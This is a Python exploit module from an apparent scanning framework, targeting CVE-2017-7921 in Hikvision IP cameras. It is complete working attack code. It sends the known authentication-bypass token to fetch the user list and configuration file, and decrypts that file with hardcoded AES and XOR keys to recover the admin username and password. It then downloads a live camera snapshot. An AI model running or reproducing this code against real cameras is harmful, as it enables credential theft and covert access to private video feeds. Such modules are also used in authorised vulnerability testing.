import re
import requests

from itertools import cycle
from loguru import logger
from Crypto.Cipher import AES

from .base import POCTemplate


class CVE_2017_7921(POCTemplate):

    def __init__(self, config):
        super().__init__(config)
        self.name = self.get_file_name(__file__)
        self.product = config.product['hikvision']
        self.product_version = """
        Hikvision DS-2CD2xx2F-I Series >=V5.2.0 build 140721，<=V5.4.0 build 160530
        Hikvision DS-2CD2xx0F-I Series >=V5.2.0 build 140721，<=V5.4.0 Build 160401
        Hikvision DS-2DFx Series >=V5.2.0 build 140805，<=V5.4.5 Build 160928
        Hikvision DS-2CD63xx Series >=V5.0.9 build 140305，<=V5.3.5 Build 160106
        Hikvision DS-2CD2xx2FWD Series >=V5.3.1 build 150410，<=V5.4.4 Build 161125
        Hikvision DS-2CD4x2xFWD Series >=V5.2.0 build 140721，<=V5.4.0 Build 160414
        Hikvision DS-2CD4xx5 Series >=V5.2.0 build 140721，<=V5.4.0 Build 160421
        """
        self.ref = """
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7921
        https://www.cnvd.org.cn/flaw/show/CNVD-2017-06977
        http://www.hikvision.com/us/about_10805.html
        """
        self.level = POCTemplate.level.high
        self.desc = """
        多款Hikvision Cameras存在不正确身份验证漏洞。攻击者可以利用该漏洞获取敏感信息，绕过身份验证机制并危及用户帐户
        An Improper Authentication issue was discovered in Hikvision devices.
        The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users.
        This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
        """

    def _config_decryptor(self, data):
        """
        vars:
        - data: binary content, such as requests.content or open('xx', 'rb')
        return:
        - (user, passwd)
        """
        def add_to_16(s):
            while len(s) % 16 != 0:
                s += b'\0'
            return s 

        def xore(data, key=bytearray([0x73, 0x8B, 0x55, 0x44])):
            return bytes(a ^ b for a, b in zip(data, cycle(key)))

        def decrypt(ciphertext, hex_key='279977f62f6cfd2d91cd75b889ce0c9a'):
            key = bytes.fromhex(hex_key)
            ciphertext = add_to_16(ciphertext)
            cipher = AES.new(key, AES.MODE_ECB)
            plaintext = cipher.decrypt(ciphertext[AES.block_size:])
            return plaintext.rstrip(b"\0")

        def strings(file):
            chars = r"A-Za-z0-9/\-:.,_$%'()[\]<> "
            shortestReturnChar = 2
            regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
            pattern = re.compile(regExp)
            return pattern.findall(file)

        xor = xore(decrypt(data))
        res = strings(xor.decode('ISO-8859-1'))
        idx = -res[::-1].index('admin')
        user, passwd = res[idx - 1], res[idx]
        return user, passwd

    def verify(self, ip, port=80):
        headers = {'Connection': 'close', 'User-Agent': self.config.user_agent}
        user_url = f"http://{ip}:{port}/Security/users?auth=YWRtaW46MTEK"
        config_url = f"http://{ip}:{port}/System/configurationFile?auth=YWRtaW46MTEK"

        try:
            res = requests.get(user_url, timeout=self.config.timeout, verify=False, headers=headers)
            if res.status_code == 200 and 'userName' in res.text and 'priority'  in res.text and 'userLevel' in res.text:
                config_res = requests.get(config_url, timeout=self.config.timeout * 2, verify=False, headers=headers)
                user, password = self._config_decryptor(config_res.content)
                return ip, str(port), self.product, str(user), str(password), self.name
        except Exception as e:
            logger.error(e)
        return None

    def exploit(self, results):
        ip, port, product, user, password, vul = results
        img_file_name = f"{ip}-{port}-{user}-{password}-cve_2017_7921.jpg"
        url = f"http://{ip}:{port}/onvif-http/snapshot?auth=YWRtaW46MTEK"
        return self._snapshot(url, img_file_name)


POCTemplate.register_poc(CVE_2017_7921)